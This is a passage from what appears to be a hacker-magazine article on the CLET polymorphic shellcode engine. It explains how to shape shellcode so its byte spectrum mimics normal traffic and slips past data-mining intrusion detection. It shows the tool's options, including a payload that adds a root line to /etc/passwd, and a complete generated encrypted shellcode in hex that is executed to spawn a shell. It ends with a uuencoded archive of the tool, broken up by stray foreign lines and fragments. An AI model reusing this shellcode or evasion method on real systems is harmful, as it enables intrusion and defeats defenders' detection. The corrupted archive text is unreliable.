using the best one. But how choose the best one?
Remember we want to generate a shellcode which will be considered as
normal. So we could think that the best decipher routine is the one which
allows to generate a shellcode which spectrum is close to trafic spectrum.
However it's important to understand that this kind of approach has its
limits. Indeed, imagine following cases:
We have an IDS which data mining methods is very simple, if it finds a
byte \xFF in a packet, it generate an alert and discard it. We have the
following spectrum file:
0 0
1 0
.....
41 15678
42 23445
....
The shellcode we generate will have many \x41 and \x42, but imagine it
has a \xFF in the ciphered shellcode. Our packet will be discarded.
However if we have done a packet without spectrum file and without a \xFF
byte, this packet would have been accepted. We think that the more the
shellcode will have a spectrum close to trafic spectrum, the more the
packet have probability to be accepted. However, it can exist exception as
we see in the example (we can notice that in example the rule was very
clear, but rules generated by data mining method are less simple).
The main question is thus: how defining a good polymorph shellcode?
Against data mining method there is a simple idea, we have to define a
measure which let us to measure a value of a shellcode. How finding this
measure? For the moment we work on a measure which favours shellcode which
spectrum is close to trafic spectrum by giving a heavy value of bytes
which don't appear in trafic. However, this method is not implemented in
version 1.0.0 because today IDS with data-mining methods are not very
developped (there is SNORT) and so it is difficult to see what kind of
caracteristics will be detected (size of packet, spectrum of packet, ...)
and it is so difficult to define a good measure.
------[ 5.3.3 - Generating fakenop zone using spectrum analysis.
In this part, we don't perform to modify the code following the spectrum
analysis due to difficulties of such an implementation. We just are
trying to generate random code with the my_random function which gives a
uniform probability to generate number between min and max... :(
We still could think about a function which would give a weight for each
instruction following the results of a spectrum analysis, and we could
generate fake-nop with a random function whose density function corresponds
to the density of probability given by the former function...
The problem with this method is that the set of instructions is smaller
than the set of all the hexa codes that contains the network traffic.
Such a finding automaticaly dodges the issues of our method, and all we
can do is to minimalise the difference of spectrum between our code and
a normal network traffic and try to compensate with other parts of the
shellcode we better control (like the craming bytes)...
----[ 5.4 - Conclusion about anti data-mining methods.
Spectrum Analysis an approach, it's not the only one. We are aware too
that, with methods like neural method exposed upper, it is possible to
generate a filter against CLET polymorphic shellcodes, if you use our
engine as a benchmark to involve your neural system. That's a interessant
way of using! Maybe it is interessant too to think about genetic methods
in order to find the best approach (cf [5]). However, today data-mining
begins and so it's difficult to find the best approach...
--[ 6 - The CLET Polymorphic Shellcode Engine
----[ 6.1 - Principles
We decided to make a different routine at each time, randomly. We first
generate a XOR (with a random key) at a random place, and then we generate
reversible instructions (as many as you want) : ADD/SUB, ROL/ROR. We don't
generate it in assembly but in a pseudo-assembly language, it is easier to
manipulate pseudo-assembly language at this point of the program because we
have to make two things at the same time : cipher the shellcode and generate
the decipher routine.
Let's see how it works :
|
|
|
+-------+--------+
| pseudo-code of |
| the decipher |<----------------+
| routine | |
+----------------+ |
| | |
| | |
traduction interpretation |
| + |
| cipher |
| | |
| | |
| | YES
| | |
+-------------+ +-----------+ +----+----+
| decipher | | ciphered | | |
| routine | | shellcode +----->| zeroes? |
| | | | | |
+------+------+ +-----------+ +----+----+
| |
| NO
| |
| +----------------------------+
| |
| |
+-------------+
| polymorphed |
| shellcode |
+-------------+
Of course, when a cipher routine has been generated, we test it to see if a
zero appear in the ciphered code (we also take care of not having zeroes in
the keys. If it is the case, we replace it by a 0x01). If it is the case, a
new cipher routine is generated. If it is good, we generate the decipher
routine. We don't insert fake instructions among the true instructions of
the decipher routine, it could improve the generator.
The main frame of our routine is rather the same (this is maybe a weakness)
but we use three registers. But we take care of using different registers
at each time, ie those three registers are chosen at random (cf 4.2)
----[ 6.2 - Using CLET polymorphic engine
theo@warmach$ ./clet -h
_________________________________________________________________________
The CLET shellcode mutation engine
by CLET TEAM:
Theo Detristan, Tyll Ulenspiegel,
Mynheer Superbus Von Underduk, Yann Malcom
_________________________________________________________________________
Don't use it to enter systems, use it to understand systems.
Version 1.0.0
Syntax :
./clet
-n nnop : generate nnop NOP.
-a : use american english dictonnary to generate NOP.
-c : print C form of the buffer.
-i nint : decryption routine has nint instructions (default is 5)
-f file : spectrum file used to polymorph.
-b ncra : generate ncra cramming bytes using spectrum or not
-B : cramming bytes zone is adapted to beginning
-t : number of bytes generated is a multiple of 4
-x XXXX : XXXX is the address for the address zone
FE011EC9 for instance
-z nadd : generate address zone of nadd*4 bytes
-e : execute shellcode.
-d : dump shellcode to stdout.
-s : spectrum analysis.
-S file : load shellcode from file.
-E [1-3]: load an embeded shellcode.
-h : display this message.
/* Size options:
In bytes:
-n nnop -b ncra -z nadd/4
<--------> <--------------><------------->
-------------------------------------------------------------------------
| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |
-------------------------------------------------------------------------
-t allows that:
Size_of_fake_nop_zone + Size_decipher + Size_decipher + Size_cramming
is a multiple of 4. This option allows to alignate return adresses.
-i is the number of fake instructions (cf 6.1) in the decipher routine.
/* Anti-data mining options:
-f you give here a spectrum file which shows trafic spectrum (cf 5.3)
If you don't give a file, probabilities of bytes are the same.
-B the option -b generates a cramming bytes zone. If the option is used
without -B, process of generation doesn't take care of the fakenop
zone, ciphered shellcode, etc... Indeed if -b is used with -B then
cramming bytes zone tries to correct spectrum 'errors' due to the
begininning.
/* Shellcode
-E allows you to choose one of our shellcode.
1 is a classic bash (packetstorm).
2 is aleph one shellcode.
3 is a w00w00 code which add a root line in /etc/passwd
(don't use it with -e in root)
-S allows us to give your shellcode. It's important because our
shellcodes are not remote shellcode! You give a file and its bytes
will be the shellcode. If you just have a shellcode in Cformat you can
use convert.
-e execute the encrypted shellcode, you see your polymorphic shellcode
runs.
/* See the generated shellcode.
-c writes the shellcode in C format.
-d dump it on stderr.
/* Example
theo@warmach$ ./clet -e -E 2 -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123
-a -x AABBCCEE -z 15 -i 8
[+] Generating decryption loop :
ADD 4EC0CB5C
ROR 19
SUB 466D336C // option -i
XOR A535C6B4 // we've got 8 instructions.
ROR D
ROR 6
SUB 51289E19
SUB DAD72129
done
[+] Generating 123 bytes of Alpha NOP :
NOP : SUPREMELYCRUTCHESCATARACTINSTRUMENTATIONLOVABLYPERILLABARB
SPANISHIZESBEGANAMBIDEXTROUSLYPHOSPHORSAVEDZEALOUSCONVINCEDFIXERS
done
// 123 bytes, it's the -n 123 option. -a means alphanumeric nops.
[+] Choosing used regs :
work_reg : %edx
left_reg : %ebx // regs randomly chosen for decipher routine.
addr_reg : %ecx
done
[+] Generating decryption header :
done
[+] Crypting shellcode :
done
[+] Generating 50 cramming bytes // -b 50 bytes of cramming bytes
[+] Using ../spectrum/stat2 // -f ../spectrum/stat2: bytes
[+] Adapting to beginning // depends on spectrum file.
done // -B options: Adapting to beginning
// cf 5.3.1
[+] Generating 1 adding cramming bytes to equalize // -t option
[+] Using ../spectrum/stat2 // we can now add adresses of 4 bytes
done
[+] Assembling buffer :
buffer length : 348
done
// This all the polymorph shellcode in C format (option -c)
Assembled version :
\x53\x55\x50\x52
\x45\x4D\x45\x4C
\x59\x43\x52\x55
\x54\x43\x48\x45
\x53\x43\x41\x54
\x41\x52\x41\x43
\x54\x49\x4E\x53
\x54\x52\x55\x4D
\x45\x4E\x54\x41
\x54\x49\x4F\x4E
\x4C\x4F\x56\x41
\x42\x4C\x59\x50
\x45\x52\x49\x4C
\x4C\x41\x42\x41
\x52\x42\x53\x50
\x41\x4E\x49\x53
\x48\x49\x5A\x45
\x53\x42\x45\x47
\x41\x4E\x41\x4D
\x42\x49\x44\x45
\x58\x54\x52\x4F
\x55\x53\x4C\x59
\x50\x48\x4F\x53
\x50\x48\x4F\x52
\x53\x41\x56\x45
\x44\x5A\x45\x41
\x4C\x4F\x55\x53
\x43\x4F\x4E\x56
\x49\x4E\x43\x45
\x44\x46\x49\x58
\x45\x52\x53\xEB
\x3B\x59\x31\xDB
\xB3\x30\x8B\x11
\x81\xC2\x5C\xCB
\xC0\x4E\xC1\xCA
\x19\x81\xEA\x6C
\x33\x6D\x46\x81
\xF2\xB4\xC6\x35
\xA5\xC1\xCA\x0D
\xC1\xCA\x06\x81
\xEA\x19\x9E\x28
\x51\x81\xEA\x29
\x21\xD7\xDA\x89
\x11\x41\x41\x41
\x41\x80\xEB\x04
\x74\x07\xEB\xCA
\xE8\xC0\xFF\xFF
\xFF\xE3\xBF\x84
\x3E\x59\xF4\xFD
\xEE\xE7\xCF\xE2
\xA2\x02\xF8\xBE
\x1D\x30\xEB\x32
\x3C\x12\xD7\x5A
\x95\x09\xAB\x16
\x07\x24\xE3\x02
\xEA\x3B\x58\x02
\x2D\x7A\x82\x8A
\x1C\x8A\xE1\x5C
\x23\x4F\xCF\x7C
\xF5\x41\x41\x43
\x42\x43\x0A\x43
\x43\x43\x41\x41
\x42\x43\x43\x43
\x43\x43\x43\x42
\x43\x43\x43\x43
\x43\x0D\x0D\x43
\x43\x43\x43\x43
\x41\x42\x43\x43
\x43\x41\x43\x42
\x42\x43\x43\x42
\x0D\x41\x43\x41
\x42\x41\x43\x43 // -t option: it is equalized.
\xAA\xBB\xCC\xEE // -z 15 option: 15*sizeof(adress) zone
\xAA\xBB\xCC\xEE // -x AABBCCEE option gives the adress
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
\xAA\xBB\xCC\xEE
Executing buffer : ... // -e option we test our polymorph shellcode
sh-2.05a$ // -E 2 we've chosen Aleph One shellcode
// That's it.
--[ 7 - References
[1] http://www.phrack.org/p49-14
Smashing The Stack For Fun And Profit, Aleph One
[2] http://www.phrack.org/p57-0x0f
Writing ia32 alphanumeric shellcodes, rix
[3] IA-32 Intel Architecture Software Developer's Manual
Volume 2: Instruction Set Reference
http://www.intel.com/design/pentium4/manuals/
get it free ! http://www.intel.com/design/pentium4/manuals/index2.htm
[4] Billy Belcebu Virus Writing Guide
especially the chapter on polymorphism
http://vx.netlux.org/lib/static/vdat/tumisc60.htm
[5] Du virus a l'antivirus, Mark Ludwig
especially the chapter on polymorphism
[6] Neural Computing: an introduction.
R. Beale, T. Jackson
[7] Calcul des probabilites
Dominique Foata, Aime Fuchs
Dunod edition
--[ Greetz
We would like to thank :
- all those who were at the RtC.Party'03, in particular ptah, eldre8, kad
and spacewalker.
- #kaori@irc.freenode.net guys
- basque && bedian for moral support
begin 644 clet
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
M].QR=@Z/-E9!;8TV>EK-0BCE+9+";Q7RL.H4*;/{body}gt;>"N/,1P],S>JT3<^&5;
M4\=P1;L)+&(E>/>RW*,8]TCT[G5PCPJXJR3%A>)A>P`L0Z;,IDP!PU4IE.)E
M*B5JO[2N84F=.R%X&QRQI@&L3^':%09$^'5:;BZ99R/EPU!:MZCF=;GI$I'F
MCB70(P!_?`Z[?##,ODYLL@"$W6^W?5;LSO-H&;64AMN80K=)]3YMB\<!'MQO
MJK%N&SQ+';E[/#M%#N[K<DX#EF`;B@5&/GQ`-EC&()_"CXGXX.R3E<IYEO"&
MW3"YF](R<&V/%L168:Q:!+DJI>JC^!4I<0&\=@YEK<GA%T@K6[NXN^-^Z5P'
MC!B5VA&]AB%\\P0SM1M#0+2#;BMA950Y=9WN?R2)65+.2O18Z^'=J/,\6LI@
M^1Q&B1VW8_4(B//`I;.'IF4,[)FEC7V0,SW:?54-W/`I4*H&:W?;U%D=69W5
M4=AI-!GIEB'5HF<90Q<*R/9UJ+,[O!\#*,E2]UN`AZO[+50;6VB+&=&DRHRG
MNF^43S[?G:]3LALJI:E>X8I(^=NY+NFA-F<8<G;0SRC8`Z$@A'!R8$ZOR[K*
M"?9EAH&;]^+C%=`3<J6@X['N-EUR?DWM,<Z*\+K:Y,+Y==O?UH01?V<5(.SS
M:%$!/MG+Z)`_63YYC186PFT_BM4CO5D^4/7[^JPAS6O/&TU8VE5$11#0G!Q1
M#[1@."2V8-\=;0!;`]2!=4O701T0F7$R%5K-*R!H[KB-[DH)W`-Z=$M6M1N&
MG!T4((=ZT7-QY](MCS2R?G#-KAQXOBOOUB!/BD-/$A-#;MKCX872PF8TOKS<
MVJB<#0ML-9WWTU1=XIJ(BB-A>]Y<TN%NS_T@Y#8_5X2VN.H$(Z&\S*GRUL1R
MW`@Q
gemini - kennedy.gemi.dev
PN7_E#A3\Q-/G@KYLP!X6G1_R8(NAC^A1\SYWDJ!C9S37`HPNA!DC7
M?ZI`Z#,91JLH,Z\9)+5A<+AJ(F(Y-$5#BB&/V59WEF)>/+B1^[(Z?,P;`]X^
MVC5BY@XO\L$D#\P7GO&@>]93[CD><<_/,Z\A)!-L2<R3_5EK,K-`++L$K$LV
M\P8#=V=*A,=,QZR)CGFZ5YIQWZ=E32+61F`AIUDRNY0'"@QXI(!5T>[9I;1-
M6$P8[S1S<S%)6M.<,0B:.0*:6W]=)1AH45,F(;,B5Z>4#BU%>A'`P*YM(/(\
M+ST>E8@03JRRF:V-LM>DK*A+,',,ZFXI0K*<I.X8I"(8[I<\W:]F@^]Q3A*S
MI)P7)7Z<%?A@[1U>>T?4WA&UITGH65//<VI/$S;>;T#3GE]G:[@SGMSFU#IS
M#E^(3T%-`:C.-EA.$K,D.GA2#2BB[-(=))GC-F!@A@E%]$@!YK1,ZD:==&F7
M=)C9^L\9KST"+="WTYD30B3+&>:=$;<(>KM-\T"@1`;,G!$UCKRYE$XC5VIX
M4_S&"'%@-$Y.[B/`AZM7;-Z'>>!2^=/^JRN;J'>AB8!28><)&9).7M<I4JH
M:0N?0@4K[!P(1=2C\&(+76'/`>Y$R:<,@3F]LH(Q)6\FQB9S&Y4N2MD1^7$+
M,S#8RF#MK+%$V.HG"^MQM)9/]D?ZD15U$PY[_FQCX)YD5F4:K2Y=::WN%=D8
MLY`5A0J=51/9"\>+>5NB(K(&^@V'F0[9E"%-:C@QADI3%HW]@$K;0#%7OR(U
M:EF#HT;O-!7J71E\KVR'-D*R1W$!M8@E4%&!U;"ZQ=6\OH3F;#?-W5ZMS?L:
MPTWG.B"45_2X)@[8-]Q,=G2!N^Z)N^Z)N]\3=[\G[IHS%K@?VLK.6^'N;6"/
MJ[MGVADYKQY&[F;*T;L0D51,M,X4+0@2+W!F_4[RHEXQ+VF3A[WWG?.^N.`@
M!'<83IG//F4^QZ3XK$GQN4^*SWI<GN.9>(X'XD:5IN8V`^>!2V</7W4[$(4&
M!L^!:&ZP"*[[KHBA=CMYJJ2Y8_=7DF1D^J'D[J-:#BUL<&%&CRL&::.[(
MW'<+\B\K?)2$S;R6@=S/&O+A%OY>1'/'/."@VU'Y!'MTN-PF,.(%R:-,G,L4
M/T7)Y>HN&F"+Y5HE%@]@-'?T2NVVTJUYP,&YHTJR\&HMPU`,EC6<5[G)@3DP
M&1[NP]B'G(W9\CQ%ACPW/2MESRZ+`]+8SQPH&:!-$N:@XH2HT@53)^EBG4Y[
M/I@H[#DR[:M=-?VB_-?DOZ3X%<7;`7\7$.\!$I]K(&#=^XQ`LD?.,SHU0W?"
MXVB#^;E--SF*Z;%-AX<G,@59J%/VU>7RD1SE=\>,4NM^KT\6K^QW,^LU,6(1
MQW-N:XHO4\OKRPLO=Y-+EC"_%ZPG@%!M='9_JST`JLW)4B%'*'M0J.F39=3R
M^-#'@^C"L>[+RZ+NI-$\/9;:"7JMZ2IVTMRQ^RN+9&;,F4J;?H9$Y&[)-XD>
M1ERZA9EV7CVDLI%OGG*^,=`[3?F_*\UWJ:T+ZWU=O'[7)2IX7:)6UZ57'9C9
M6!=5WGKP)DU"E)A`A_!+K@ET@)+@9/C+2]:XV4F.ERNB:LTS)&,P4A2&IGZY
MV@\1HG7%P>:UG*T5V+#B94FK18`!V<LZW2!VF]EYV7>8\&GFL&K!K&5:1.WN
M=3!C^]%^*"^9/DWE:J+E7V)S&;,7GZREV].`\\"#"DL+"UU?ITYXA>UDCI8[
M=`YF)O]Y-;ZL^QMIN>'V9[@N+Z+6JJXBO)\PVG9D752(Y;K;XUF@G'O==(N\
MWK`VQ*DY7O`RWDQ+Z=*NQ6W;X7)/9F8S:J()_7IM56N9QMWZDD`KAD.7UO[P
M@[KP"?'"V0H(NE::L&080#,N2Z()R[K?U&=WGD?+J(7+VFRM]]P\C'@>+66P
MX%)VVQ##,B*"Y&F;T3X,'TJ!-'<L@8HMIXOKIDOH`JW+<"Z!RA-YB(/MU"QZ
MV@CLSH\TH{body}lt;/"X>JM-JMS8F.?)$@F(/"DWFZ8OW.9;$^Q$PDH/$#G[LO"]]L
M4,X.1=!U6(#^&@N(?!',:4TV0<>?R04KJIH)WGGG%9C';G\6^<[7H"9QK7;]
MD`GNPXR(4`Q,+;<+Q]%_JYQ$DSVFZ$F:*1A)`PY\G`HQ2\@*L=C[8`+?H*V?
M+(Q?5DO5WMQ=WJ;FW+J":[*IS>MM:KTX*8D6_$U?<1**"PJYGE#+"?&.9GFU
M"2E;3=@N'3%A;2NE::S47ED@2G._?:57Z,W,-.%,]1M_]Y16!KQ97[8#AJ&%
MR:?I(@&GDSV>`:ARSN@KE]R>K.XNX8.$FSFMT{body}lt;..%+GP_J2VX`&7KJG".B%
MYM/DCI)#TB/CEB.`TX+,<[2_:.ICR2J==<W5I1Q8@)7KE@CT08],"8<;ZQU2
M#AL$KD.^KQ.C`D#ACL6#E'"@<5WN+NG`0:!!8CV5FJ5C`*7*N_>2T90@X&Z6
M@DJM:!O?6D?_[=3&*:^HWM?E9DLQ7ZTO?$53:8586YN[32ZMV8#PLS'BW-)J
M[VNL7U@QLVS2FBOD3A,AX0-]&W*9::4PB:L@6)]"ZW\,$);&ZR2!J&S!F$5G
M2YR;<<88H@%6+%%N`87TA*A\*[2>DHTSFV@_Q"M!]CI)6@%..9VO\-#8:#W9
M5+R9*&Z3B.WX[DCY._LAK^VYM]JSR7J^8IW3>E[:PR-^I^NYM02+_KS3O-K`
MG])Z.J<2:&]_B'2SU=I-/)*$N<[I-&64%W/1*UX3F'F3(]O?.JNH%C:=8;R:
M"3M*G[B&E1)7PRB[+`1>L@:NP9N.{body}lt;11:?(:I'<8[:[*B(QLW8,H!2W=$;^X
MQFF!0&V^3#`D6T=FE^<%O0:$K,66DJV7"4:B>4:'N5[2"0E#HKI%[))I*X!M
M.4%FFLODTDK4ABVHBHL&(.L%5['=6[X[I`$DM=_']=:)Z3I[RK1;I-?IQEQ:
MT1=D9^&G!)"R\Q*T=D43KM9!K`M6Y:T++G@SF4'"'%2<%$_R49$A/-G6E\M&
MDV$OF_0OFFES8A"&?$6"[A^^?*F[\H73NO@/&$.9]97%?=7<'*!0[G;7$\#I
M:76-/[M;KNQ;5NOQS$1&FV1&5_2`ZQICK
gemini - kennedy.gemi.dev
Y)XG9)2Z'D12NB0,-L7P7SH,%
M2D&))KN<YT[H3H,]!:V$(\H-%]YDJNA]'*FW)@E:;_:3`K%@&^^<1G5_HUN^
M*"/YXJGE"Q/3]QY.<\<2Z`6*;SU6+/8PDTK/M^D9`*>HFEXQ"R-7!I8+1X!.
M=)3)-)8:`_W!4@8;6LUJ<T(<N)$[S
%2679SQ'S?N[Q&C-7)#K>KUBXX]0=
M6:OV^&JF&KN(6BX\+YSY!WA.WFA&"=XX]`2I$DF,ZDTQO45XNC,(:[]4U<(Q
MNY@E"Z4"8^`)X9G7]&>#HOHYBM>.EAH+U-TSK_Y+>UH0#!AN?"7:Y#:=75J`
MF_4J%NB&!?<0A1)UPP?@%=W@K?#FU6K:?@A[@F$^NPW/UMT>3%=>G68J2SOR
MTLS"'G_?7VBZ_V'IWGFSNR.*9N(+(`$NK"-^N-V"`KNU=+8'D,[S:!FU6%&T
MR7T[;BDK26O7'Z!6Z8B1?:&-[=;<'@HL=5O`AGHAF!?N@Y@27-6GUDFF>;/9
MV:^&S6SX:8T_K,;GP?T\>J!(>N\0;QU6?X=HH-N,:.Z(*A.7P#%<)+F-26[^
M&P\>8N([9UGV/*"<(6QI':1-B1@LE3\*`G3V2ZI7%HO90$];\\%Q%Z`&X$(Y
MJCE@,&AC00%&=R82Y4)ASS[KP64<ZV."D9-=[D?:.3(V6"2A_L``0OWJ$U^M
MM-#VZS+O&^9R;C:^N;G$50B<!RZ=4?EAV2,2J&`*IXFC#0,6N.A6U&!IO8Q!
M*329`-=EF%3$-1W9)5Y8!O)'Z-:;(]UP#[SA$S,S9XE5KNREC+)$H:10VOZ8
MWX@%^T"+NK7'E6+O`@>$,R([Z99ULX_SWBO?_`P61'A:F('3<CDTD2Q^BCP8
M2&%4OR=_STHZ!I+BH]VZ/1/@.B!UUD1SIL@4B(K/\VW<N!>\O[B=CM7+1"I"
M57-[%C]CY;K158(Q'WR??)NGJ\7$-2XF=L[0!<Z=F;Q;4.1$@YW.#>N9S$R2
M"K'-NJZB0J3P:DZ<KF]RS_F:D)V,M5_H/$-N`=V)S2Q]GA/^;"^#0QHY?[)\
M4NN6(`<L(L1$P^TZH6^_V=)X*^2BVFC:`UC1;(Q[PRVKF=2U)YAFVB]NV6#B
MQ\.JP+WQ=M,3WLT>M6_V.G]R>18@,[?#W_G?VD\0{body}gt;QV5[WMR9Z?(9*DI;&_
MFH$K9+?2"EG;SQ\3^K<=\UD0S$T;R5))/YT]MWO82"NU>*<4S
%B8UBAQT+
M\6^^>IZ0`UQ%(;B<ODG3:'=WS%@;N"B494([%-'QW<QKJE;-:61X7^W1?>L4
MCBR?(PIHEGW=+^)V8^%GV8,%87#I[^OR$BN1:$-!2;E3"71ZNF3I&_+&YD0]
M:.T'$S,)YX/C0\{body}lt;%)Z,TR9WL&SR5O-DK:&%KQ*FBM7S-RZ>AT!RA[\;=I)J
MEI"5@@G%\OH;_EJ[:M71>@U;+FEM*K"`[9/O-IB\9GW2U[D,EK@[-Y<==S0!
ME3)6_V[Q%G>S^>";2^A<TP(')+?R?64#FWF&X-"0F-P/3<*)R3>V*2&!>]/K
M6>3PQ)T64%W*H3)_`*7X'$H'B[K)L,GG@WT,,.3LD`.*DP,NS#:U'VZ>')@-
MDB=^7Z?2?JS,>SY?J0-@5@UYD4"UDP=!/.V1I2P3:6\1,B/DI;.JHOV0;E"N
M.XO7Y#(%;*2;E/>;9T;(K#>+29NHLS&!H(C0O9&@=:6.U8?U*TY%B$HU8,6!
M:@IB%9ROBO^Z/Q8/^D#T'%A0KN$"%>MRD0=+HCW='ZPHT3:@J<^)3KRF)I+;
M=P+<F<TV`L+EG7=\,,*).#,GBH7B30(A\W[CARI`3/-N]E2RI?.\XP,`4@HH
MH.N.R\'O1#=^)=J$K[(/+,$H=+KA\6[#B@:6O"]ZV#ZO>MB&90_.'VGD>;2,
M6JP/E/2"_J69$T6R&Z^@B"21!TCI+EM`(B@L`V2:R,9%3TX;WXAN>!G:3*YE
MMM)<T+8O*]57AEZEK3RPV5]6CGP$;&WBCS1R"8N(66`V;59C\1AMAN-$WED5
M[`KL%6&6Q,_YPE<I3<*D6_O9[,C$@=$_)0MRX$F'D@'195X3;Q+;]3ES".$
MI455NN"#98A"69/+.8!!;GKV)/'!8_,//+?XO).$7\<2ZSZ`^,T3Z,2:;?)#
MB>U<R[4I..>$-H^B))K+JWN4O57,?62$MK<-V^N$"G[%97_E!;98T:9X&]HP
M:1J`>#;61.N+^<4+UB\VHU;*=YI>Q(;(NTEJ<U'*MJ$!;DMK`JQ3QWG@TME#
